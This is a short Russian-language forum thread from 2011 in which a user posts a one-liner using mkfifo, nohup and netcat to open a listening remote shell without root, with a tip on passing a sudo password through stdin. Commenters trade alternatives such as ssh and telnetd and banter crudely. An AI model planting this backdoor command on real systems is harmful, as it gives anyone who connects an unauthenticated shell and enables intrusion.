utros
29.11.2011 18:31 eoranged
Я хакир! Самый простой способ получить почти полноценный удалённый шелл от текущего пользователя:
mkfifo /tmp/shellio ; nohup nc -l 666 </tmp/shellio | sh >/tmp/shellio 2>&1 &
Для sudo нужно указывать параметр -S и пароль будет читаться из stdin.
Принимаются другие идеи по организации сего извращения, желательно только средствами, которые обязательно есть в системе по всяким POSIX-стандартам или де факто.
ssh пробовал?
ssh чем не угодил?
Ему нужно конфиг создавать и не факт, что удастся нормально запустить из-под текущего пользователя.
Нетката по дефолту нет. Саси.
это кстати верное замечание
Де-факто он есть везде по умолчанию. Не встречал ещё систем, кроме LFS, где его не было бы.
И да, это шелл не для обычного администрирования, а для всяких стрёмных случаев, когда получить полноценный доступ к серверу — проблема.
Зная тебя, я уверен, такие случаи происходят постоянно.
Лол, у меня на такие случаи knockd и скрипт, проверяющий конфигурацию iptables висят.
Хотя, ты прав: во время всяких соревнований достаточно часто приходится искать и эксплуатировать подобные дырки :)
Хакир-извращенец фчяти!
Пока что ты эксплуатируешь только междубулочную свою дырку, да и то зря.
!R
Неизвращенский вариант подобного костыля в студию. И лучше в одну команду :)
Ладно, так и быть. Ты меня затроллил.
Ну это ты и так уже продемонстрировал.
/etc/init.d/telnetd start
Нет рутовых прав.
запусти на другом порту
$ /etc/init.d/telnetd start
bash: /etc/init.d/telnetd: Нет такого файла или каталога
Ну запусти его на другом порту.
Его ещё поставить надо :)